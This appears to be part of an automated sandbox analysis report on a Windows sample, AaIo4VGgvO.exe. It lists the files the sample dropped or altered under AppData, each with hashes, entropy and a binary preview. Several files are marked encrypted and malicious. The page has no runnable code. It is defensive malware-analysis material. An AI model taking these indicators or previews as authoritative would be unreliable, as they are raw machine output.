Preview:	.<?jk...G.y..C..z)a.Q....d..K...>.S..r.y.j.>.9....C.r..!.\-5...Z.$q.....u....@....H6.....L;.^j.._6&.A.$...`..-.M#(*Q.y...9>.v.rC.k....._.k..j...s.S.m.. S0.d}4..4..'},.1...a....oYz..NI.s..k..=S.5.....d(GA.3R......ggz.s9.&.\|....9..^....@......z.9y.v...Y....L...`..5...].......d%...$....`.F).$...kB%t..eY&.4%Wzw....X.{]...eY$.kO...:.9C..(.jt....D..y.... 5.].Pr.../..^.'. ..i<.d........t%.O.l..H)..$.{y.].4.On.._.....He..@...s2.[....+....7.....&^.E.d.%t8.f.`..._...............D......l."..8@.b.:.n...+...=....t..b.HM..3...h^@.0..N..%.50.@.E.4~.m..'..?...r.s.......S...t.....?[....V..!.(...u4zV..:C.6c.._h~..C....sl..u.&.Q;....Df..q..{.6......].w..#.......;.n.."._............!.j.V.._.d.w..l..UZ....S............l..........-..M..f..;C...,..i....q.G/.9...(B.......G..w^....}#C...T.a.4z{o..._...Z..8....\|..2..\...P\U18p.\.'......Tt........ViGKjR_...Z.I....}[..%..Zt..# 1.A.c..ez.E4.#.....Xn.....}.#..k...3?.4.i...6q.j.I....%...........c%...(..m.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704150v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.897252369212665
Encrypted:	false
SSDEEP:	24:5+83/f3uZjYwn2oUP42HSZjcDCEU5Q0o3cdJPYhzzxl8paxjBruaIKKHZzRGTTDL:73ysXP4U3DvsU9jBrHKlc/9Qp7eNnD
MD5:	BFFB0B8EAE02639C4C8F50616B3F2DAD
SHA1:	8DC55D036665BFBA1C97B175A743D586EE564D71
SHA-256:	FA117450A4DC728443B0806FF4859E1AA015AC780950F49F1E39CEB779EE8F64
SHA-512:	E2B9124561E62F66F036BF436903960E85C394E365DABB18C43B5BD21954A04D22A58ED12C2861E385378874E1AFF3EDB2944125A31127B180161DE1619C00E7
Malicious:	false
Preview:	.<?kbT..;.K......c......"..Ey..>.L..v....EM89.-.c..p.a.t..v....;..&?...j.O.rqN...9P.li.5.<......<.9....!.^,.K..QU[m...g...TD......W.4....K....K.. 6.S.....\|+_.d....9I.lP+.zQ..z..w..I]........F..h..)....dW.(..G....m.%C..~{&X.9.S.KD ...y.$......>.s\|...1.JIi4.s.YD.1..............b.b....UIA.;.b..KN._..(..v.y..G+........r.5g.,..C...@W.Z...4&...r.4.:........s..I..g.....I!D..[..... ...P..{.^..nT...<..)........qi..ow.3v......S.2..WX.>.._,.=J>.lf..oM.C.fI....Y....a...r.._....=I,..ChX..B..!Q..)5....N.&%..r..D.......}..3 .Z.Q..T...~...b.XQ.D..H....Nz.^.1..X.....h..E....{.{(....$...4...[..th...qm.1....3..U...K.8.0\.{....!C..\|.k,:.....n..P#zC.QH....@P..8..^...l......`..../X.....g.Y.....F.Z....d.M........1.b=..b.l.......l.T).6Ul..%...d.w.....i....Nb...Jh]QO...l.^.....%ML~TtL...'....z.g.{:Jw8..+.......~.b'.('.......1!#..@p....o...v...Q.dZa{.....^..^.b .. V..Ju.`.".1b.W..G..LM3.`q.U{6....!..j..../..I..t.<..,..R+..m.....2e.cn.g.........A..cL.Wx.zW2G

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704151v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.873697566034772
Encrypted:	false
SSDEEP:	48:c7BOMvfPjfUmkklXg6gZyh79y/t2uL4iZqwOtd2PDD:cr/bPlw6gi7QF9xspu
MD5:	C85E4BBF2464B78B3FCDCA199767A849
SHA1:	070CB85771B5E712F66B1DF0735A2A27C20C1C8A
SHA-256:	A90D2DA5E17B4F0BB491AF52912D48F44CC42AF180504AF62853842FFD9B220A
SHA-512:	DFE9A28E746A7F8FD9A833542975F56927F2AA86BABB167BBC5B5313906CD7EACA74899EA81155A237BF73DB534FA7A12C44A8573FE62BACDE0B7CD1F03DA202
Malicious:	false
Preview:	.<?61z...!ao-..c..y.a.].....nU..9...H.h....f.2...iO._..54......`.....b.......C.v..l..p!.:....k..e.....;....W.3>......Io..9....x'yArQ...PDz...w.....ra$....5.gnFPi...0......\...,.....{}..&+.\|g....[w.=.~%O.^./..VhZ+.5..}.-i..&,lY....k.....S.....4...Q.y.h.;.........{5.<...d7.~`>.f.A....C]\y.=..d..ey[1].$T..Rx......mW...W.....-.>DDt....1..+.?.[..W-.0^...I.@.!.JT{.p/.....k..=b.Er.c..2....G.t.d....mp1..0._.......Q.-..b...^..=..D...zOU...`....t.D..cq......Ot.K0.;<....R..$..9....e.....y.fN.;C.T).k1...;...,p.....!.0.1$.ekC...J./....x..p..W.+.W..?......J#..$@...A..@......~..{p.m=,.-.....K........,1.F$.F......>.e.......+o..~.9(=u...F>.`.K........E=S.....B.4...._(M....H@...S..KZ......F.e...1.C.....,.i..os...}j#.R...KD.(.3]...X.S..Z..3....5....MO..i...;0.......`)........../..LF..&...\.n..E..hVr..........\|.Wd..f.[...J.\|...w....%...bC....K.......\|..K.@.....{...5^...Z..7.7.+....*..l2>..G...v1..yG..\._.I..;.....>E..%...]Q..... .9...5].I)...9...h

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704200v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1714
Entropy (8bit):	7.893124021633903
Encrypted:	false
SSDEEP:	24:V6dP+oIDw6j6aRPNgkfGcIGjNAejPvLSwMk7IICEzecNQh9uPdW7f5SnTxJrrbD:DktaVNdfeGj2wMsScehMPQ7f5Sn1JrPD
MD5:	A92192F8CB46152DEEE126E80AD1C649
SHA1:	CF4D6DFFA1652EC51FA2DEEC07DADDE030D11BE8
SHA-256:	AD55036731E4D2EC88EF8315C853246EAF33C6F0BB8C43F7A9848CED8397A6DC
SHA-512:	0ECDF5CE77A4AC59E470CBFB4208966F08D9A05D95B931B591C1331AC298FFB76EF78AAD51EB4D2D5B2CBA88927A7035DFE38DFF182D62F54CA66FCBD65FE5D5
Malicious:	false
Preview:	.<?...k....m...(.ncn..=......Rz...Z.q...q...\|.R).%^......0...B._..A....g..@...P)..\....&.7............;..`.w^`:....I../..A...b.EAY..u.a..(..:...4...Y}..P.a..(.&z.F..'..J..T....;FI.Dg.h..:......9.y.V....?.p.`.;.K....7.._.H.Q...oc=.=...;).'NS.Z..........iT..`u.L#3..g....%.4&..C...l..........V#W.L}a..S%..m..4.e..o.9..U.K.....g.1.\|j.I...3...Y.M[.q..XMg.......PggD.k`..0x>..t....iPDE.....l[.of...M.V.IN"..'.k.#.1.c..nF_.aFq......'I....$^..f...{p.U..P.E!.c,G..m,.1.t.@....2...,:4....K0mUt.RL..d..(.P...v....~h.Z... ...C) .../+.y.f.#P...S.'.....z....f...@...[0m.$%......E.4.;....8.I.#.....<<..[......Z4v..E........{g.&...8..e .s....^...m..8f.@Tna;G.\{.Z.\|..a.@u..x._{.D..G."..u?..8?..7}#."H........&.2.#z.....7...M\.9A...G....w...K;....Dw.5m..y6..3s.bt[A.fU9g....je.!#..}.......s..{....3.[..9.V.........T..<........:.K;w2..$u.d.{.U...`....K...s....A.....m.]fE....W..{.W*...s....(\....q....?....[q.].Ht....:.m...X...[.N!{IA(..M...f...wkIU.o.Z

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704201v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1751
Entropy (8bit):	7.904899360742066
Encrypted:	false
SSDEEP:	24:xQ+Bv1EsIAy7IHAvhiEQSim1I7ComQim4oznqc1vRO2opYgdI+sb7HqmCD0CbD:xQdsfbAZ5vomQimDh1vRspY6IrbOmCLD
MD5:	B1CB6B34577E25DD860074E6032C92E0
SHA1:	5E3AB5DDBE358C15E1E099F1AC0F8F19E45D562B
SHA-256:	19EAE7D6B484A26C8B88705E68EDE6EE31925CF875D15A1A91A8C22CE0B6A945
SHA-512:	62ECD369706C577394309AF8D03E90BF3B641F0EF8CF52751F0C86DEABFAA4AD0F456650DA509F8D62F48E6C94A77D6F6688D5C4A81745977CD0D79BE7CEC051
Malicious:	false
Preview:	.<?Vf....N...q.t.0C.2.G.PS....7.r...&.^.O'.i.....l1....\..G........N....s...Y^.75.._....o...........Xq)Q.`.....t..F`5,.P...>..&.h.0.=g6...`I....#}<F...Ucj.7~.)7.^t."6..P...R..f....fe...:./.3..lu...pC\.a.Y..c.M5.t...i...{+d-.D..LE....\|..2....d.2...dCH,...:.......B...5F...Z..~.d....@.y..@.....?M....Y..}..p]G.l.5....."D..rL..{y..cv...)..D.t....._.{dB...R.U....Y]..M..7..$C.j......l ....2+v...A...z...x.4.......FA.2q.h......@..x..)sM....j...#_.r)y...LN.[K..... .&....!..j1....wQ..y2"..m$.T.....mEU...t.>.........P.....U.uC.sO....vj.d w...;.u&.....W..q......_.0.d..N.&M.=:.8.Mh..N^$z.\|@..MB...a.\...e.+.x.t..F>.X.....!...a4C..?.....a.].@+M./Pb.O.T..t.].......(]..3B!{.....d.:._.m.R43......c\|..\y.F.GPV../....6Y.F..8..@...s....w..z.pBn'E.D.....<.PV..i...E.a...9r.b.....c.!V.c.>..O.._7......t....Y...4.R1.r....#v{.>.z .d....f9.,.....r..e..>.]..~.T...'ia".:.X.[a\,...O.=..?..I.....}.G.cH.#.l(o._O.{k.ulH...g.)I...X...#.I.....u..0:.......C.....jN..Z.8Wr.9/tQ.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule90401v3.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.869130189699818
Encrypted:	false
SSDEEP:	48:aTjYxiKRELaMp0h6wNq5x76bNPb2zmj9D:a3PKR1oxAxjF
MD5:	0814E134262C7B7A09401824E65D85F5
SHA1:	EADB22DFB324B5D5A49532E8B69FFAF168E3E89D
SHA-256:	4C5042361430A3CD09135007F7C0504A2DC88867962F82715C8FD5D66BA689CA
SHA-512:	F9AE812B065F06A44C50A34905C2C91F58403D97D17037B3FC884169EC9E6DB4F76131D7B005BDA5BF97DE025E0796463A09A93908F8BD2CF6FDA3A64B6AB262
Malicious:	false
Preview:	<?xml....t.S.1.......B..W......b.....dF7n....f.....K/(4..:.BK.1.. &.'.42.......8q._.r.p4.+&.v.]1..X....CH..GS..8......RJ....s.o.2.Mn...$.......Y.~...\|./"...n7...t}!...:....~^......E..]T..#..Y.&.-Q9.5.../a...I4...x.4.s=.o.L'.7.G.>D..=.~.+.....E........{....]..;..X...,.U.s.TS.a(.h.).}...(...4.^...*.D.iLqR..Vo...+Ms^.g...P..v..$n.WH."....K..yz..g@..D.{..q.oF_..Z\..x.....\|.[T.P&..9.58..J......#...\........ ......S8...{@....6..B......R..S.s.....H..\....a..u.?..._z.C.^.}9b.......d..4R<....@.F..L.r^...O.?....2.B..]...F"U...H....B......C....\.4.9,bK...l..4:FY..H;...^..G.:.ZY..gh...Yh....Y....3..+FXx.........&+B..]......r.....p..$..J.d..5./...~YZx....._.5....=.....t.........?.v....\.W..k8....;..tz.<....{.J..cr@.<?W......D.p...X).........K:..e..Pp>.V.l]........,.(...p..9.d8............{Bm0.C.k..w%.o.dWQ.}{.L.\|.\0.q......q...O..~&.{.g..1..Ot.q...)......jc..).S.s.,.o.....4..P....4joa.......f.0.. .d>o.......v.....?..wFC..l.q....Z.qN..6r....z>

C:\Users\user\AppData\Local\Microsoft\Office\16.0\setup32.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	135031
Entropy (8bit):	7.998646644614788
Encrypted:	true
SSDEEP:	3072:0g6OhzYOsXQG6lfaPM6D9A3hNr5XmSxbnkLBNNc/W7:0gyOiQqMYALroinkFuo
MD5:	D4DB80D27433C38483C3EFD8910A8255
SHA1:	B0ABF78321C192E444016ADA46249296E4ACE5DC
SHA-256:	A965486F6456BD5D316EB0BBDCEE61B53D7A8F6F6B2FE3B3F6E6052F1063C59C
SHA-512:	C340258027AA35D643D8BF79F33DD7CB6C314A6BCA7846B044F37D9EDEF467B46A213BA57754BDCA347A3836A7D4676158E5C791514BACE1C9905392D27DC358
Malicious:	true
Preview:	<?xml;.~.x..(....k.v.'}.........0..bt....J.k....JR......e+k...9...@...k.0.Rs@.3c..jD....^..Q......V../.n..o..ynd.X'.IR&..9.HO.P.nfn.D.O..C...'....O..k........C...4V#{.S..f..x=.........."...{..j.q...SF.....#..A.U..E.;a..A{..i.A....XEg..?............s.2..lx.A...+....R5...B...+.~\|!.@V.:.'...b.L&.&.$".<...$.J.....bP..1..-Z.....Uh\.<6..T....\|.5C5{..Xe..n...3-.....s1....S.@.>.+...../Q....gY..?.x.'/........... .&...:.#95..9..k....rr..........T.t.kx.U.R...8...H. ...8.Q..}.?..qDA~y&.ad+"d=w....4.......y;.giC.!.l....V.+~....0.....O..R...n.P.}..t....,C..Cf6....~....!.....v....{...eO..n^...N.R(...:.l1.HDL..}c.)T.4Q.I.........YIM....Y@.QK..c......%........uo...F[3..q.f......8\|. .......c.RB#..3......S..:..@.#..........K....Z1........0`_....F.......s4.......H ^.S..9.C.....2....7..X..2...?o.(M.".xO.r.A&A...'.r .z.o..x.yDQ.;..ywp....8.k>.8z../.gC}..;...Y.Yt.L.....%......%.d...b!J....pg.S........U. .>)v.......1.....1>.....q./.^.e..$.......hS

C:\Users\user\AppData\Local\Microsoft\Office\Features\1-3FeatureCache.txt

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1152
Entropy (8bit):	7.805548990435301
Encrypted:	false
SSDEEP:	24:cop66T8NAVp8x9zy/dhOGwY3ZtNV+Wa6OxNzUlKFCWJq/SEZhcKznaGZLUbD:/p669V+xKdMheHnfOxBUlKU1hrr+D
MD5:	79CD3A79A67F9AEB9823E621D6AF87A3
SHA1:	351966E96AA317E8B01A9184FCE7535232EF6559
SHA-256:	9385A80EB33D54703B052FB2526CB5427704E841F90C4635E3F7AF0EE3666941
SHA-512:	32D6BD3BDB4447613009EEF219A2B141951A9FDD4E603010C913DE3B32EA41CDB40D504FD4F2DBDDFC03B1F4CBDEF1374E1F210420A6BFE4C4AB5B111482E6C7
Malicious:	false
Preview:	1.1.9F.S....?10.....u.V....~...\|.w.:<....D....I]....a..N.8A....'..i.~...=............2.'.8.5.g.3,....!.r...+...]b........N....vL..'~.....]=..4[.;..N\|.T<..5......s........-y.f.......b\l0..hf..gfM...-.x..B.p...h.7k.k.W...-.C@!....@P#......\|.3p....6.....ib.J\|..x.q.s...J......B..U?...e..}DM..%o...}.8.3.1V.O..T.{.A.....H.sBsKj8)..\8]...\|.fdg+sP..:..v.M..P..tx.....=.,.f.Z_5s.K....a0,..^..6..&....3.0.y3....W.H....1....+A...K.Q..Q..Q..[?..j~T..4..S.a.M..cg.... l....t.3<l%%...,.U`...t.c......f..V....mhB.U..27..WF.*.........u....b.=...&....w....E......v.........7.....;q.1.S.P.f....g..Eg,.7zT.22#..,.....l..Q.B%%.J.I...@."k....N~Q....cW..ewF...@......}.6.C+.:U.....+.u..0......(.....LP...@r."[j'......t.t...4.... q7.G..UePb.^j......2...O2"....{V.?........}]..^..g...!ya.]L...3]<.6g.".[.,.;W.\..P=f.....0oC4XN.....3.U#.'...@"ZCC...-5...#X.I.8\|..?`....3:U......d..6..,.kBT7p..0...(R....Z....u.X.l6v.Y....r...&.[.........e.......?..h..6....o....\|...Q.A..

C:\Users\user\AppData\Local\Microsoft\Office\Features\1-7FeatureCache.txt

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1170
Entropy (8bit):	7.808639352990273
Encrypted:	false
SSDEEP:	24:yduMN06juM+eCRmHQ/aS5T2ujanFj+JV51qG6N4T+IYjabD:cbVQNZa0mnMj1qGvAED
MD5:	D99B56A299E2504D52D259D9FEB0F3A2
SHA1:	7F5F7D580B3CF3818065F8C52099EB91A3DDB83E
SHA-256:	B5A4DE433472FABD50BD232208D9FB7298116DF4249D0CBC92FCBD0267327162
SHA-512:	BB4ABDE5FFE16D55C0B856A4B6EF9B5A5FD9F41D4F9FB73B7250BAE5A16A2A44CC66DC1E48BCA57763F3105CC277DA4E054858C27E39DD1E8BD15F5D14E28A68
Malicious:	false
Preview:	1.1.9..C..&'..X.@4........!."..C.....}..O`.'6R-....c...L...V"/..../;.....-.-.iT. .)w.LR.hl.R..`.3..........8.a...4.~O.r..c..X+...]uY........`.Q.=v......7~...#...8~yQ.LM\|..l.....G....N$`d".G.;...~../.\|._...X....6.t...m..yLq.8..K.u.....,I.[d...Pw..eQz2.{.....fN.t..;K...v...+...\.:......\|.dm..u-h....ciF,\agdT}.Wbr5.x.Es...J/Mf.a........pKq[..;...s...D..j...C....P..0...E.R..X@hoX..9N.40...I...L...w}A.@......U:[uoO)............6.9.4.l.>..N...4..d>.....~S.N.........5Y...1zKm.Et...[.J.,.U..b....z."..E...n#..G...^.=. ......6.Z...;..mw6..8@1;...<.^ 7\|.-.v..UT.`....w,.$.:..c........i...\97u4.l4.........E.O:d.R.....V..P...wE{.i..)...g.a.3..oB...M..r..U.5._3@..Ucw..l...}..5..P......q...nBC.1..`E.+.8GE.".k~G...Y...w....].@i...SO..c#....R.....l.v..B.nDA....`..Z.,..!\.........%...Zh....w....8k..O..I.a..;.ww[.J..-...'u...Z.M]....<......!O>..xg..W.'..+.8..:..P-^..(.!...gX.qC.....?...f..@.'gQP.........a....M...o. ..B.P.....o..Y>.j...B.X.....Cj6.Q.

C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	37198
Entropy (8bit):	7.994764833259009
Encrypted:	true
SSDEEP:	768:VmRYk3I4fulEqi6cghbp2P6h4IJs1c2Wk2f32DSdqT5e:VA04fuwghbp2P9IJs2aq3EP1e
MD5:	3E3346DFE365230D322BA0A13E6EEF2A
SHA1:	FDB88A46B9B6255FE541D0F7EDB067BEB79F9532
SHA-256:	B02763BC88ADF26F1F006E115D55CE44CCC3797E8F6C3F45748A76DFFED9289F
SHA-512:	B39698CAA5EC6D502BFE21A12AF2F1054C5082178EE93B4AF15355B5D74A8A704CA43BDF491FF3105B214788455CE1A4DD4C12A9F7F83F0810FD779F916A04EF
Malicious:	true
Preview:	SQLit...].....x2.B....K...._./:...a3W...n......a6.T..DP......:B...%........"....!.%.+..zr\|..!..x..{......l..z..2..}....--{}.J.EoL........y..a.k......a.`....-...D#.p..Rs..#....8.JY.J...........#.J..<.{sK.L..!$..)[.....-D{..{^_..Bc..SK.kSs..7........%...X.'.....Ps.jd..&J.M..`9<..;a6n...U.....Q.......V.u:.pA....CS....#......X].P...;e.B..w...q.O#.l.?.r...er....p.p..+.....EU.J....n>......?......z....(.B.c.D`5.)...D.1...a.b.Gm.G....3b.{...%.'b..k=._...]&..FMk....5.%...Vk....UX>...9.....5n$.OJ..GXrH...I.5.?)j.....1...r..r........a,...)...b1R........u.;..X..3h.C..P.s...bQ........5.F.<e.........].....r...1.Y..q..j..j.a@.2........f2..i.I:_.e.,....}H7RC"...V..=?N...z37.%..2..<...4.9.........E.P.).....bz..oX.n...>.,g~P...-.[bnt:.A3..V.%.%kq..k..tS...:.:p...I/%.17#8@.....XK.6w%..>......]`e..-..+...9....2.S?)^.S....Yb.>F.i.P..a6..G....>.:...U.....8.]...X....gS1...w.....t@......i.....*G)+.....$C.g[.r...s......k..H....,}3E.E.p..sW...}........U

C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db.session

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	20814
Entropy (8bit):	7.990846805502805
Encrypted:	true
SSDEEP:	384:4FdyASRf0MEYu0IRnBHK0MFbYOLp1/3NWDOaRMMb/D/9SY2BU3w+1O:4Fd9SRf7DknBq04bYwD/sGMVSYwz+1O
MD5:	2E507423FB9C4E6A4C8BA3C6CB44599C
SHA1:	63C2478F16DF5BE23FA4B3844ED55B9D2A7D4766
SHA-256:	01463333F721D355F9FE17E7E9EFF88E72FE25EAA6FD60527E58CD62571771D6
SHA-512:	017CE9B354EB9033EA4A974C265692E2880476A7567A433841AC0CD407A9A339BD88E7B626D324E03B4EF1C3D490FFF0AA3B3F793D50F6CD4338F02133D465BF
Malicious:	true
Preview:	SQLit..{,B@3.......lh..D..7..6?...........Bz.......Lg../..m..H.$].....^...+.J.....".M...)O.R9HyLfgJ-z..l.L...B...\..Z.N.y.'_.s...%.v$Pl.dZ:.y.<.iC.....s....K..>.M9]..t..M.y..`............tM..x...i9.}z...O.P-......uR`wbq.A..gQ.>J.c>.n.e@YC..VoZ.....$.j...,#rk..Od..X....5...5rE.#.y....?.....w.L{k.f>>.\.%UkGx...PSh..<}.~/.....%]o...c.S($I..dm.B..'..........@...X._zGxUM.a......=.d(.....R.J.0......U.\...F5D.OqQUS5.Ob_,U.?^u...G.MA.....\8.I..k....i.cX.....V........A.c.....+..[R...&....-^..j.......Pt..#..y=%2Tb.7...C..$A.u;)'x.5........ /............R...8..O.q7.f.dS......V.l@Gk@]7EY.bl!R.l8..DI..GtkL^........xW.....-.....m.K9\...z.E(..MZ......C..Jh.q....6........K..e.\.....%.. .....q.\.m..5......Ta.ex.C...y.{.....S.=....+-..._Q^[FG\a..I..a.........y.q.c.Sl.......9C^..S^/..._..&pX.'..s..../.......`.YW.j...P.Y7.P.T...c.>y..+...o.`....j..X.v..J.\|..};~J...v..&.d....>.B#. )._.X....-..I3...:..rk<..S...0*......bc...g....{.5..../&.pI.8...^...n.Bo6..

C:\Users\user\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.993032043008768
Encrypted:	true
SSDEEP:	384:+tZwSbAgJdKZtAXsTmufTNoQC8O5GjWlT6MUyuxQ48qjvhH3HzFT6Af+Sc:+tS6JUrRbNoQVO5G01Uj8kx7ffc
MD5:	7197D0CA77D088D62C348FB36CE58A5C
SHA1:	1CB0CE92880A332219AB66C2A7998DD7918D3857
SHA-256:	766C2EBF2BA52FC7EA0EBB9D692C63D8DEC53D8122A6A9415508B9DF5152B5A1
SHA-512:	6F45EDFE3D5CF2F0FCF166165ACD99449EB3E64AAA90818C0BF2314DC74B4D7F4776989036BFED6ED431DAF84438266C27F5CE95540144F2F7423B03B4423812
Malicious:	true
Preview:	SQLit..)....{...s.#....3Sg.\r.yu.S.......Z...7.O....X....%....qk.@..d.bS......b...y.n...C..T.!o...E+.._F.......'..n.Z...S,Z.(./k/k...Z..l&....T.D....I..[<.s..}.L`...g..54,.B.."...3D^.....k.\|.o........:...nc..C.........X...xol.=.n.q.h..R.G.d...c..L.v._.R"./q..$..Ga.j.................c9B=.uHT.. .{..Cd......R/C...u.9.....F+....?.d.<5.y...@qkG.a.`.v...r........?..... ^..T6'.B.4w.w..a.(4..Bp.A.w.. ..8...`...."f.....CW....(.B.a...0..g.....4..?.H >k=..,r.RJ..8....J....`..s.i.N.E..4.E.!].x[...V.w..Z..s... 4~p.=J..Il../g5.h..I.T.._...U"..?.....J....\S..b..8.Y.../!E@.....p{ZHK...a......K..;<..jt...z+.c.Y(...t..8J..o..2./..B.7..d...Ui....Q....r..<...U.c............w~...=..D9?Q..../o.?.P.....V..j.8....0.w)......1....p....C...+..$;.\..RU.X.N\|+2....).."b=.....pV.1.z ..4...!x.`..^~.{...-CX..H..'p..p..A..T....+?+.. F:W..v ......B!....^.^n..............1$..........*.P.S.E..XE..M.6...z....w...-.[,.....;..Po.O...?......j&r.k.r..]..r!m.6

C:\Users\user\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992531726628531
Encrypted:	true
SSDEEP:	768:8lbFcauBUhm2CV7YdbeyLmbfknhADdxI8CHmgX:8wauuhmdV7YFLGYhADCHma
MD5:	AA9BCB3E921D17324AD97239A05C80A2
SHA1:	BA10721841AE8BA76ED682FBCBC5523D108522DE
SHA-256:	AA1A6C39D3ABA0CBEC77FA9FFB8ED1C1D94DEF7A21E24FFEBDEEAB4A6BFEEA86
SHA-512:	F854EBF22B438E9475FB096F2BB8916A9BBF7AA5C233AF11C0CD50A5FCAC1DCC3FFF32798AC477DCF765E371238A13BEEA51A9A6D3B80B5C02D0C2516C2E788C
Malicious:	true
Preview:	SQLit...4.0.,.ap..9..s:.=G"5Z..K......3.fg....A..B.=o<"H%&..B...r.F.(.2....}..)..~<0..@...;.\|....Tr..R.m..co[..Sh^.....G.1_.............&2....K...y...R.C........N:,.....b......R.e..2;.'.J.\...a.Av....7a..J........9...U..."..1.`j.\..$I=k..S...TQ..I.H..G.R..h.@2.....c...Y.Q..< ...N).j.L.. .\|..-...b.jr..;.Px..5k.m.....K.....f.8(A.o.$}.......Ix...4... ...X?$.r....e......W........L....z.}6{#.......D.......S.k8.L.x,....."?....P..%..r......N....@@.......\|....M..gu..\I.........wqR.f<i.....]. ;..K7.E...PYI.D+.../....~...5.?..!...L..x_.#.t.WJ-..n......,3k...qu...<BD..-i..f2.y.....\S..5rP..8m..2I...:T_.:q.:.$.....n..P.3M..o........d....Oi..Y.'...}T.W.W..E..W..0...4....&8pb....R...J..3E.;...l...%\|.(.of.ntx.I./..eio+..y$2,.{E%..K.S.l.....\|..$i......w(OT..C.R.@..)...K..%.Gz..k...1..{...%...N....]....!......#H.sM.NR..O.<$.qs+.I{-.......J.D\z.[b.C;-..H..[....T...g.......`.\97-.....p0sE..y...P..<.[P".... +..J......c.c....u_.J.?.gfK.m.0.'..lGIX.. .U.D.a.J

C:\Users\user\AppData\Local\Microsoft\Office\OTele\officesetup.exe.db

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.990670902080676
Encrypted:	true
SSDEEP:	768:w0G/qyzKtkFunrVMGNsgnsTYjlq7Ix0xf:w0PyzKtkFnXqsKe1
MD5:	F2200E5045B529CC3B50CD01C2CDB2F4
SHA1:	B84624E15809F58C25CFA393DDB87880DD0A9060
SHA-256:	01A06D2DF2B9F918970435E8900E162F37AF3083E24AA99EF10E0761001A1CF7
SHA-512:	006153FF296AC17139441F8EC713972C4234EE018871608E97A34958F67593E60362D300A6EDAF604A4DF246222FCCBC3552204ACA15E2BE9FBB16C765543E97
Malicious:	true
Preview:	SQLit...7~T&-.....]k.#J.C..@{.h.R.{...u.R.Y..WZ.$...........J......R..Q.s...9....r.9.&IT.../.zu...2.kt.;......C...{..=..........(.."}!:..Z.^.[..3.z{t1.G.NO'%V.&)Y?}..7X.j).R..tH.c......-2..}`#..4r.}.i&j(c....K..0.&.....s.....w.io2.Sz....z.u7R=..;..^.1.KT..X.i.....\|.4.?J.1.....,)5.8{`s...V..S.e{...Jh.,.>......S..F..F:..o.........d8..+.;....W.Nm...$e+...... ..D..D....S....`.....u....7.3...Y.9p..,.].. @..\....Q.7...0.]F..R..e...z..0s.....n.aI...[......qoa.".!.l...pa..m.x....>.S..jG...jQ.......d....e...$....:.d).R..]....e.L......M..=.5.D..+..u....A}..\|.(.....=..wJ.O.W..."..j..70.....9w...r-(....P0Y...bj...L...n.N..P(...OR.2.u.&+.i$...F.a..8..m.Qj;.{s\|.8.>j2unw....?4..s.t./..<&.52...9..Q.^...u...l.e.S....f...5..kh.@..,A.;.1}....-..YF....8.J.q...J..~.......<.l).r.+..2...4../.....Hn....MD=.Y}.?...)..j...D.=s..A..y.j....O...d;(.n..tj..}..95-.M.x...I.M ....TKO_.. .lm..4J.....D..H..."..t.....GGp.g.N..0.892..xl.....F..+#.nA..k`n.....

C:\Users\user\AppData\Local\Microsoft\OneDrive\logs\Common\FileCoAuth-2023-10-04.0953.5356.1.odl

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7032957281272586
Encrypted:	false
SSDEEP:	96:Xt0yRmHObpA/eVrDDwmjJtrZhXgXDmVHRCHuJi:dDUYpce1DNgXPHu
MD5:	00DA1BF2DE224DC12C22A9FFF55B2157
SHA1:	26388D3194BF96F8F3DAA1A714FAD00FC8699319
SHA-256:	0B5211AC48976A0918397CC3B2700B5EBFC6732A3F0CBB7BBE25E5D14239FBFD
SHA-512:	4E960EF777D70912907142DBEF1DAC1AED24DB9E05702B04CEA8B26CFAB0962663A6FA5114C858637914E5F9B26265F43DE725D66702393F02F710811C3BAF72
Malicious:	false
